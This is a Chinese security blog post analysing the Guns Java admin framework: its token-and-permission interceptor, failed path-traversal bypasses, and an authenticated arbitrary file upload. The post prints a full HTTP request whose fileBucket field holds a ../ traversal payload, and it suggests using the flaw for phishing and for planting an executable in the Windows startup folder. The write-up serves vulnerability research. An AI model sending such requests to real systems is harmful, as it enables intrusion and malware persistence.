下载地址:主项目:https://gitee.com/stylefeng/guns核心包:https://gitee.com/stylefeng/roses
分析认证逻辑
找个正常的接口访问,发现没有自定义filter,
我们大概看一下spring的filter执行流程是咋样的,可以看到这里有6个filter,但是从上面的堆栈图可以看出,有些filter执行的是他父类的doFilterInternal方法、父类的doFilter方法,
本来以为是实现了WebSecurityConfigurerAdapter接口,结果并没有,发现此系统是实现了HandlerInterceptor接口进行权限认证的,分析TokenAndPermissionInterceptor拦截器,这里使用getRequestURI()后,就开始匹配路由是否被拦截,
这里是不拦截的路由,
之后判断如果存在token,就会验证token是否有效,无效则报错,
如果不存在token,就在resourceServiceApi中查找路由资源,并判断访问的路由是否需要权限验证,
权限绕过思路:白名单路由可以用../绕过,不过最后还是会被spring拦住,(这里可以用%2e%2e绕过,不过存在tomcat环境,直接报错)
jwt不是硬编码在本地的,秘钥没有通用性,伪造token不行,resourceServiceApi会调用到以下函数,resourcecache存在一些接口资源,可以访问一些未授权的接口,
在resourcecache中的接口,利用@GetResource注释设置了requiredLogin = false,就不需要认证,
分析这些未授权接口后,没有一个接口有洞,就很尴尬,,,
任意文件上传
这里可以任意文件上传,不管更改fileBucket或者filename,总会用fieldid拼接文件路径,因此可以控制文件名,那么文件夹就是fieldid,如果控制文件夹,那么文件名就是fieldid.后缀,
如以下数据包,任意文件上传,不过文件名不可控,
POST/api/sysFileInfo/uploadHTTP/1.1Host:192.168.91.130:9000User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:127.0)Gecko/20100101Firefox/127.0Accept:application/json,text/plain,*/*Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:gzip,deflateReferer:http://192.168.91.1:9000/system/structure/userAuthorization:eyJhbGciOiJIUzUxMiJ9.eyJ1c2VySWQiOjEzMzk1NTA0Njc5Mzk2MzkyOTksImFjY291bnQiOiJhZG1pbiIsInV1aWQiOiI1NmQzZjczNy1hNjU1LTRjYzgtODRkNi0xNDdjYTE1M2Y5OGIiLCJyZW1lbWJlck1lIjpmYWxzZSwiZXhwaXJhdGlvbkRhdGUiOjE3MzUxMDM0MDM0ODgsImNhVG9rZW4iOm51bGwsIm90aGVycyI6bnVsbCwic3ViIjoiMTMzOTU1MDQ2NzkzOTYzOTI5OSIsImlhdCI6MTczNDQ5ODYwMywiZXhwIjoxNzM1MTAzNDAzfQ.Ur3bUwltSXWUtIT1OOR4MV4frJeRy_MDEkmYg99F5L2DOx6C4ha_y476dTWMy7gAJZsq5x_2C_VEkWxWv7uHXwContent-Type:multipart/form-data;boundary=---------------------------4047569836919132683218702Content-Length:510Origin:http://192.168.91.130:9000Connection:close-----------------------------4047569836919132683218702Content-Disposition:form-data;name="file";filename=".exe"Content-Type:image/png1111-----------------------------4047569836919132683218702Content-Disposition:form-data;name="secretFlag"N-----------------------------4047569836919132683218702Content-Disposition:form-data;name="fileBucket"../../../../../../../../../../../../../../../../../../看到请点击exe备份-----------------------------4047569836919132683218702--
可以用在钓鱼,如果项目在c盘,可以放到启动项中,这里可以看到是在哪个盘,
来源:https://xz.aliyun.com/ 感谢【tj】
原文始发于微信公众号(船山信安):Guns后台任意文件上传漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论